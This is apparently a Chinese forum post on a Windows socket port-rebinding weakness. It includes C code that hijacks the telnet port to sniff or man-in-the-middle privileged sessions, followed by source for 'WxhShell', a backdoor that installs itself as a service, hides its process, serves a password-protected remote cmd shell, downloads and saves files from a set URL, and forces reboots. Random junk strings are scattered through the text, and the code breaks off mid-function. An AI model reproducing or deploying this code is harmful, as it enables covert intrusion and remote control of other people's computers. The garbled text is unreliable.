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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n,WqyNt* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gV_}-VvP :,6\"y- saddr.sin_family = AF_INET; >}6%#CAf draN0vf saddr.sin_addr.s_addr = htonl(INADDR_ANY); wNd isI V)N%WXG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kc&U'&RgY \(2sW^fY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sD#.Oq4&]y /h|#J 这意味着什么?意味着可以进行如下的攻击: 9CD_os\h Y`a3tO=Pd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {F.[&/A ye5&)d"fa( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E$p+}sP(C *b\t#meS& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I9ep`X6Y &gx%b*;`L0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k@W1-D? U&p${IcEm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YT(AUS5n [MY|T<q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |Z += =Jb>x#Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %n9aaoD JIq=* ' #include Z/+#pWBI! #include 6(ol1
(U #include oYH-wQ j #include C]A.i2o8 DWORD WINAPI ClientThread(LPVOID lpParam); $*fMR,~t& int main() l!u_"I8j5 {
7hPY_W
y WORD wVersionRequested; zy
}$i? DWORD ret; sd|).;s} WSADATA wsaData; 1p=]hC BOOL val; +QJ#2~pE SOCKADDR_IN saddr; eehb1L2(b SOCKADDR_IN scaddr; 5$C-9 int err; T9[Q SOCKET s; U-M>=3|N SOCKET sc; +52{-a,> int caddsize; -nV9:opD HANDLE mt; {_v#~595 DWORD tid; *0=j?~& wVersionRequested = MAKEWORD( 2, 2 ); *J`O"a err = WSAStartup( wVersionRequested, &wsaData ); ZPYS$Ydy if ( err != 0 ) { O:Tj"@h printf("error!WSAStartup failed!\n"); =D"#U#>;7& return -1; {R`[kt } P~X2^bw saddr.sin_family = AF_INET; EXqE~afm2 }0Ed] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CzrC%x y l,5+@i`5i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t*w/{|yO saddr.sin_port = htons(23); 7-fb.V9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }@d @3 { \,0oX!<YY printf("error!socket failed!\n"); 2<}%kQ` return -1; L~N460 } h<<v^+m val = TRUE; IW] rb/H //SO_REUSEADDR选项就是可以实现端口重绑定的 ysY*k` 5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lL0APT; { IJcsmNWm printf("error!setsockopt failed!\n"); 6.yu-xm return -1; x7 ,5 } |P?*5xPB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `r 3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jAlv`uB|G" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %d9uTm; >i?oC^QM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O?#7N[7 { 4{|"7/PE1 ret=GetLastError(); wN~_v-~*Q printf("error!bind failed!\n"); .HABNPNg( return -1; V(!V_Ug9. } uW
%# listen(s,2); A|{(/G2* while(1) ( CWtLi"z { \:LW(&[! caddsize = sizeof(scaddr); inp7K41 //接受连接请求 kb!%-k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M/`lM$98: if(sc!=INVALID_SOCKET) }W^A*]X { ('+d.F[109 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K_}K@' if(mt==NULL) >Y@H4LF;1x { M x"\5i printf("Thread Creat Failed!\n"); z},# ~L6$q break; tw)mepwB } ^E>3|du]O } 5~DJWi, CloseHandle(mt); Xne1gms } uHRsFlw closesocket(s); !&@615Vtw WSACleanup(); WcbiqxK7- return 0; - " 9 } o}p n0KO, DWORD WINAPI ClientThread(LPVOID lpParam) QIFgQ0{ { .O<obq~;C SOCKET ss = (SOCKET)lpParam; -jmY)(\ SOCKET sc; ZXPX,~ 5o unsigned char buf[4096]; p!AAFmc SOCKADDR_IN saddr; o.`5D%}i long num; sU^1wB
Rj DWORD val; -MBxl`JU DWORD ret; [0("Q;Ec[j //如果是隐藏端口应用的话,可以在此处加一些判断 XW92gI<O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0jWVp-y saddr.sin_family = AF_INET; Bk{]g=DO saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vtJJ#8a]
saddr.sin_port = htons(23); k4zZ7H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gI|~|-' { =($xG#g` printf("error!socket failed!\n"); ,|/f`Pl return -1; Zx>=tx} } S$-7SEkO+ val = 100; 9}
.z;prz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1X1dG#: { hOK8(U0 ret = GetLastError(); n~Lt\K: return -1; )D%~`,#pQ } WUTowr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z` b,h\
{ 7F.4Ga; ret = GetLastError(); .*Qx\, return -1; >^{yF~( } |;{6&S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7_[L o4_ { -$Ih@2"6 printf("error!socket connect failed!\n"); ~)M~EX&pK closesocket(sc); Yx`n:0 closesocket(ss); dqcL]e return -1; @>7%qS } ]hV*r@d while(1) &BSn? { :b!s2n!u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X"*5+* z] //如果是嗅探内容的话,可以再此处进行内容分析和记录 AbOf6%Env //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7a}k num = recv(ss,buf,4096,0); bvOq5Q6 if(num>0) +
>!;i6| send(sc,buf,num,0); b\,+f n else if(num==0) tX~w{|k break; /dIzY0<aO num = recv(sc,buf,4096,0); dDGQ`+H9 if(num>0) 1=v*O.XW` send(ss,buf,num,0); =-Ck4e *T else if(num==0) 62NsJ<#> break; b#o|6HkW } ]/{)bpu closesocket(ss); q1ma%eiN closesocket(sc); Zj
Z^_X3 return 0 ; iU:cW=W|M\ } ?\n>
AC \
B%+fw V28M lP ========================================================== yIE!j%u ^=*;X;7 下边附上一个代码,,WXhSHELL 1B\WA8 A":T1s ========================================================== 8xMX vw@S>GlGg #include "stdafx.h" NCD04U5y dgP3@`YS #include <stdio.h> #p{4^ #include <string.h> _(zG?]y0P #include <windows.h> _','9| #include <winsock2.h> 4 H&#q> #include <winsvc.h> DW3G #include <urlmon.h> og>uj>H& f,Ghb~y #pragma comment (lib, "Ws2_32.lib") !TcJ)0
#pragma comment (lib, "urlmon.lib") &,)&%Sg[ IvNT6]6 P #define MAX_USER 100 // 最大客户端连接数 iJ|uvPCE #define BUF_SOCK 200 // sock buffer K|s,ru #define KEY_BUFF 255 // 输入 buffer Y\hBd$lQ~ fd9k?,zM #define REBOOT 0 // 重启 L\iFNT}g` #define SHUTDOWN 1 // 关机 V G~Vs@c( KG{St{uJ #define DEF_PORT 5000 // 监听端口 lr$zHI7_` N)Z?Z+}h #define REG_LEN 16 // 注册表键长度 EBmt9S #define SVC_LEN 80 // NT服务名长度 nT)vNWT= EEL,^3KR // 从dll定义API B|X!>Q<g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -%4,@
x` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {7pli{` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D3K8F@d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3
8`<:{^Y xd0 L{ue. // wxhshell配置信息 k|f4Cf, struct WSCFG { !1b;F*H int ws_port; // 监听端口 )WFr</z5bA char ws_passstr[REG_LEN]; // 口令 *gz{.)W int ws_autoins; // 安装标记, 1=yes 0=no BD7Ni^qI$ char ws_regname[REG_LEN]; // 注册表键名 S`]k>'
l char ws_svcname[REG_LEN]; // 服务名 a-J.B.A$Z/ char ws_svcdisp[SVC_LEN]; // 服务显示名 ,v}k{( 16{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 [1H^3g
' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -|9=P\U8S int ws_downexe; // 下载执行标记, 1=yes 0=no \lNN Msd& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" v(%*b,^
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e@YK@?^#N r,2g^K)6 }; rQ snhv '}#9)}x! // default Wxhshell configuration Ef{Vp;] struct WSCFG wscfg={DEF_PORT, UR5`ue ; "xuhuanlingzhe", ;xn0;V'= 1, J4U1t2@)9 "Wxhshell", [opGZ`>)j" "Wxhshell", ;]:@n;c\ "WxhShell Service", caX<
n>
"Wrsky Windows CmdShell Service", h!9ei6 "Please Input Your Password: ", ygl0k \ 1, }l9llu " http://www.wrsky.com/wxhshell.exe", 5Jnlz@P9 "Wxhshell.exe" E&:,oG2M }; I1&aM}y{G \z}
Ic%Tp // 消息定义模块 +8ZF"{y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q-d:TMkc char *msg_ws_prompt="\n\r? for help\n\r#>"; Y`wSv NU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8*a&Jl char *msg_ws_ext="\n\rExit."; `~q <N char *msg_ws_end="\n\rQuit."; r9G>jiw8 char *msg_ws_boot="\n\rReboot..."; L9#g)tf
8T char *msg_ws_poff="\n\rShutdown..."; jZrq{Z< char *msg_ws_down="\n\rSave to "; ~WV"SaA)*U &PtJ$0%q char *msg_ws_err="\n\rErr!"; "@8li^ char *msg_ws_ok="\n\rOK!"; IMONgFBS kB%JNMF{A char ExeFile[MAX_PATH]; y1L,0 ] int nUser = 0; 7"D.L-H HANDLE handles[MAX_USER]; .(2ik5A%9 int OsIsNt; 3"\l u?-E Pj%|\kbNs SERVICE_STATUS serviceStatus; VJll SERVICE_STATUS_HANDLE hServiceStatusHandle; 'H <\x Pg7Yp2)Oli // 函数声明 )whA<lC int Install(void); "kqPmeI int Uninstall(void); Aq7osU1B int DownloadFile(char *sURL, SOCKET wsh); @7n"yp*" int Boot(int flag); 0_t!T'jr7 void HideProc(void); b>JDH1) int GetOsVer(void); qJUK_6|3 int Wxhshell(SOCKET wsl); y:l\$pGC% void TalkWithClient(void *cs); {.mngRQF int CmdShell(SOCKET sock); $ L]lHji int StartFromService(void); ~61v5@ int StartWxhshell(LPSTR lpCmdLine); ~W]TD@w +=8VTCn? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l1Fc>:o{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
M\Kx'N m`r(p" // 数据结构和表定义 iOO)Q\ SERVICE_TABLE_ENTRY DispatchTable[] = hY8reQp1 { VyGJ=[ ] {wscfg.ws_svcname, NTServiceMain}, N ZSSg2TX# {NULL, NULL} UFuX@Lu0 }; $iz|\m 4+ Z]3oIRE // 自我安装 5/Uy{Xt int Install(void) !%0 *z { o{[YA}xc char svExeFile[MAX_PATH]; IPo?:1x]s HKEY key; ;4~hB strcpy(svExeFile,ExeFile); W5MTD]J Q]>.b%s[ // 如果是win9x系统,修改注册表设为自启动 q5:N2Jmo?z if(!OsIsNt) { pyvSwD5t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %84rL?S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h.t-`k7 RegCloseKey(key); E< fV Z, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \)|hogI|f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !C:$?oU RegCloseKey(key); M =r)I~ return 0; 5XBH$&Td } Ph>%7M% } +srGN5! } ')3
bl3: else { gB'6`' Q'0d~6n&{ // 如果是NT以上系统,安装为系统服务 6NHX2Ja SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &.?'i1! if (schSCManager!=0) n.(FQx.F { @MCg%Afw SC_HANDLE schService = CreateService g}',(tPMZ ( K(Bf2Mfq schSCManager, tZG:Pr1U@ wscfg.ws_svcname, z' >_Mc6 wscfg.ws_svcdisp, n6a`;0f[R SERVICE_ALL_ACCESS, kW&TJP+5* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [IhYh<i SERVICE_AUTO_START, Ek]'km! SERVICE_ERROR_NORMAL, )+ 2hl svExeFile, Jg|XH
L) NULL, d-dEQKI?; NULL, N<injx NULL, mL: sJf NULL, !Q0w\j h NULL oM`0y@QCf ); &KRX[2 if (schService!=0) Npy:! { ^.NU|NQi' CloseServiceHandle(schService); JcxThZP~ CloseServiceHandle(schSCManager); Q$@I"V&G. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *bA.zmzM strcat(svExeFile,wscfg.ws_svcname); "1M[5\Ax if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V6reqEh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R/z=p_6p7` RegCloseKey(key); 6j LCU%^ return 0; 9mTJ|sN:e } hZ } v^ VitLC CloseServiceHandle(schSCManager); :G%61x&=Zc } QB'aON\S } @2 fg~2M1 E09:E return 1; v
z '&%( } 0.k7oB;f(@ 7%eK37@u // 自我卸载 SKsKPqz int Uninstall(void) fS78>*K { Z}Ft:7 HKEY key; W v+?TEP A{D];pE` if(!OsIsNt) { Fy-t T]Q9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HRfYl,S, RegDeleteValue(key,wscfg.ws_regname); wEvVL RegCloseKey(key); P
m e^l%M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |4 0`B% Z RegDeleteValue(key,wscfg.ws_regname); y/ef>ZZ RegCloseKey(key); O[JL+g4
return 0; 6G""I]uT } <l E<f+ } ]|PiF+ } _^%,x else { n]o<S+z vT,AMja SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q6V>zi if (schSCManager!=0) VQ9/Gxdeo { n[Y~] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5uj?#)N if (schService!=0) );&:9[b_ { H%Q7D- if(DeleteService(schService)!=0) { t=W}SH CloseServiceHandle(schService); mSl.mi(JiZ CloseServiceHandle(schSCManager); Trz@~d/[,n return 0; ok\vQs(a } Q:d]imw!O CloseServiceHandle(schService); 0[?Xxk}s0 } ?QdWrE_
CloseServiceHandle(schSCManager); PP33i@G } @YTaSz$L } 9 X`Sm}i fN1-d&T return 1; Wf>R&o6tr } 7}5JDG 68C%B9.b' // 从指定url下载文件 |"CZ T# int DownloadFile(char *sURL, SOCKET wsh) nazZ*lC { Gm^U;u}=f HRESULT hr; q ,]L$ char seps[]= "/"; Zw
S F^ char *token; U$D65B4= char *file; N]=q|D char myURL[MAX_PATH]; y(yHt=r char myFILE[MAX_PATH]; `Cynj+PCe $1L>)S strcpy(myURL,sURL); 9w"4K. token=strtok(myURL,seps); 1JG'%8}#8 while(token!=NULL) L2i_X@/ { Pw`8Wj file=token; nV/G8SeI token=strtok(NULL,seps); y'nK>)WG4 } B7E:{9l~s{ u[=r,^YQ GetCurrentDirectory(MAX_PATH,myFILE); `%9 uE( strcat(myFILE, "\\"); ShP^A"Do strcat(myFILE, file); u.m[u)HQ send(wsh,myFILE,strlen(myFILE),0); Zaf:fsj> send(wsh,"...",3,0); jZkcBIK2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FxWS V| Z if(hr==S_OK) ?_9 return 0; =ToyZm\ else q01wbO3-" return 1; T<Z &kYU:R fW1CFRHH } :vQrOn18p nRZ]z( b // 系统电源模块 8COGsWK int Boot(int flag) ,~@X{7U { RmeD$>7 HANDLE hToken; SBk4_J/_ TOKEN_PRIVILEGES tkp; u$Jz~:=, .|>3k'<l if(OsIsNt) { ep)n_!$OH" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dhf!o0'1M LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2,b(,3{`4: tkp.PrivilegeCount = 1; BLf>_bUk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h#
o6K# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g63(E,;;J if(flag==REBOOT) { XZ]uUP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vDhh>x( return 0; B:S>wFE(. } -[9JJ/7y
else { 1POmP&fI( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }"P|`"WW return 0; b)5uf'?- } P90yI } BWv^zi else { 7p16Hv7y~ if(flag==REBOOT) { g<;q.ZylT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?*1uN=oI{* return 0; o!Ieb } ;yLu R else { l<LP& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (!7sE9rP return 0; r|fL&dtr } RSyUaA } D4lG[qb 0oZ=
yh return 1; O1U= X:Zl } F Q7T'G![ u=?.}Pj // win9x进程隐藏模块 Q4!_>YZ void HideProc(void) =9boya,> { aFb==73aLw .B]MpmpK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bz2ztH9 n if ( hKernel != NULL ) i$:*Pb3mV { ;!mzyb* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L:pYn_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qYjce]c FreeLibrary(hKernel); 2W96Zju\ } HV!m8k=6 JPc+rfF return; $%CF8\0 } +\c5]` k}kQI~S9 // 获取操作系统版本 :bu/^mW[ int GetOsVer(void) T@:Wp4>69 { 9~5uaP$S OSVERSIONINFO winfo; jrlVvzZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~ Ei $nV GetVersionEx(&winfo); ,]ma+(| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UXc-k return 1; a}BYov else {W=%U|f return 0; t7dt*D_YqK } 4n!aW?% .9 on@S // 客户端句柄模块 z0p*Z& int Wxhshell(SOCKET wsl) hk(ZM#Bh { <EB+1GFuI SOCKET wsh; B:;pvW] struct sockaddr_in client; i&Tbz! DWORD myID; uGf@
nzuX&bSw while(nUser<MAX_USER) _"Dv
uR { 7a=gH2]& int nSize=sizeof(client); L%*!`TN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hYT0l$Ng if(wsh==INVALID_SOCKET) return 1; W#4 7h7M e#L8X
{f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w;[NH/A^a if(handles[nUser]==0) _(W+S`7Z closesocket(wsh); \}u
Y'F else 7 S#J>* nUser++; UqFO|r"M } )BZ.Sv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dh`K`b4I q1$N>;& return 0; p*R;hU } uB]7G0g: $<dH?%!7 // 关闭 socket ;v)JnbsH} void CloseIt(SOCKET wsh) ld|5TN1 { G6q
}o)[m) closesocket(wsh); fnjPSts0 nUser--; F 5bj=mI ExitThread(0); n71r_S* } gq4Tb
c
oA ?K$(817 // 客户端请求句柄 oo/qb`-6 void TalkWithClient(void *cs) w=0(<s2 { =1FRFZI!j 1y4|{7bb SOCKET wsh=(SOCKET)cs; }WC[$Y_@ char pwd[SVC_LEN]; nMq,F#`3N char cmd[KEY_BUFF]; KVoS
C@w char chr[1]; 5Md=-,'J! int i,j; i^X]j xBThq?N? while (nUser < MAX_USER) { zsEc( 9|^2",V if(wscfg.ws_passstr) { >a!/QMh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )#0O>F~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Eyt17_H"n //ZeroMemory(pwd,KEY_BUFF); $u$!tj i=0; .LPV#& while(i<SVC_LEN) { :)-Sk$ /wQy17g // 设置超时 ,uSMQS-O'4 fd_set FdRead; oA7tEu struct timeval TimeOut; n$MO4s8) FD_ZERO(&FdRead); SB;&GHq"n FD_SET(wsh,&FdRead); !fV+z%: TimeOut.tv_sec=8; {g'(~ qv TimeOut.tv_usec=0; <prk8jSWV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vONasD9At if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p,EQ#Ik -P(efYk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +xh`Q=A pwd =chr[0]; L4@K~8j7 if(chr[0]==0xd || chr[0]==0xa) { B?eCe}*f;B pwd=0; zq3\}9 break; }kw#7m54 } B+|Kjlt i++; DTX0 } DzAg"6=CS yJ[0WY8<kC // 如果是非法用户,关闭 socket QGMV}y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JinUV6cr } \0^Kram> 70yFaW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fF!Yp iI" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E+j/Cu !4ocZmj\ while(1) { wm+};L&_ q\9JgD) ZeroMemory(cmd,KEY_BUFF); F#3Q_G^/ j"8ZM{aO // 自动支持客户端 telnet标准 SpIv#? j=0; [$ubNk;!z while(j<KEY_BUFF) { lB8-Z ow if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :tc@2/>!O cmd[j]=chr[0]; I {SjlN}d if(chr[0]==0xa || chr[0]==0xd) { Eh)fnqs_d} cmd[j]=0; o@_q]/Mh break; \,'m</o~, } :p1u(hflS j++; WqR&&gz } PF0_8,@U 'NbHa! // 下载文件 G~]Uk*M
q if(strstr(cmd,"http://")) { k`cfG\;r send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^L,K& Jd if(DownloadFile(cmd,wsh)) =bAx,,D# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"pVj6O else }g@v`5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dUD[e,? } WSPI|#Xr% else { 8$]1M,$r h7*J9[$ switch(cmd[0]) { kl"hBK#D% "-Mp_O] // 帮助 m=1N>cq
' case '?': { w$>u b@= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8:q1~`?5"b break; %6t:(z } ./XYd"p // 安装 Ml`:UrU case 'i': { e_^26^{q if(Install()) 7kC^
30@T3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Z,;,5'5G else 2/U.|*mH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qRu~$K break; -D<< kra } Q@= Q0 // 卸载 zWnX*2>b case 'r': { d.aS{;pse if(Uninstall()) s `e{}\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0RzEY!9g+ else JT~4mT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I !-
U'{ break; C;v.S5x } {% 6}' // 显示 wxhshell 所在路径 9FF0%*tGo case 'p': { 2V]UJ< char svExeFile[MAX_PATH]; #j;^\rSv- strcpy(svExeFile,"\n\r"); &Hrj3E strcat(svExeFile,ExeFile); eB2a-, send(wsh,svExeFile,strlen(svExeFile),0); %q"%AauJR break; D2#ZpFp"h } V( }:=eK // 重启 pG_;$8Hc case 'b': { k``_EiV4t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yER(6V'\iQ if(Boot(REBOOT)) >k|5Okq g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]43/`FX else { L]7=?vN=8 closesocket(wsh); />C^WQI^ ExitThread(0); "%)qRe } SV4E0c> break; p;a,#IJu } v{RZJ^1 // 关机 #{0HYg?(f case 'd': { $yP*jO4i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5; C| if(Boot(SHUTDOWN)) VCYwzB send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,};&tR else { 'I|v[G$l closesocket(wsh); j\yjc/m ExitThread(0); H;is/ } ! 6 #X>S14 break; _=>He=v/ } P-[-pi@ // 获取shell I]|Pq case 's': { oE@a'*.\ CmdShell(wsh); ;T\%|O=Ke closesocket(wsh); hXw]K" ExitThread(0); AhN4mc@ break; J[&@PUy } 5"VTK // 退出 7jrt7[{ case 'x': { t
mntp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wKh4|Ka CloseIt(wsh); N>uRf0E> break; O *C;Vqt } goNG' o %| // 离开 %jJG>T case 'q': { s3N'02G send(wsh,msg_ws_end,strlen(msg_ws_end),0); _{ue8kGt closesocket(wsh); ,O5NLg- WSACleanup(); ~i= _J3' exit(1); Ha#=(9. break; d2FswF$C } -12UN(&&Z } m[osg< CR_ } @)F )S7 eSn+ B;
// 提示信息 1y&\5kB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @3i\%R)n; } bG"~"ipn% } +.8
\p5 rw[ph[\X return; d7^}tM } yZ7&b&2nLn (y'hyJo // shell模块句柄 zC:ASt int CmdShell(SOCKET sock) b)#hSjWO# { -:^U_FL8un STARTUPINFO si; n)/z0n!\ ZeroMemory(&si,sizeof(si)); ZmqKQO si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wVXS%4|v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &<g|gsG` PROCESS_INFORMATION ProcessInfo; Jumgb char cmdline[]="cmd"; Rr$-tYy6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oxnp0 s return 0; `cn#B
BV } 2ACCh4(/P R+:yVi[F]U // 自身启动模式 _%Bi: HG0 int StartFromService(void) 2>9C-VL2 { 1.JK33 typedef struct 'c&Ed { T.F!+ DWORD ExitStatus; hW')Sp DWORD PebBaseAddress; h8j.( DWORD AffinityMask; B4/>H| DWORD BasePriority; e4$H&'b| ULONG UniqueProcessId; jdP2Pf^^ ULONG InheritedFromUniqueProcessId; @ y.?:7I } PROCESS_BASIC_INFORMATION; >{]%F*p4 G5_=H,Vmd PROCNTQSIP NtQueryInformationProcess; g'f@H-KCD tIi&;tw] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BR_1MG'{)$ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z#jZRNU%ox pQ" >UL* HANDLE hProcess; iU918!!N PROCESS_BASIC_INFORMATION pbi; LP^$AAy H'5)UX@LP HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uC vj! if(NULL == hInst ) return 0; "!P3R1;% %`r$g[<G g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5pG}Yk_(x g_pGetModuleBaseName = 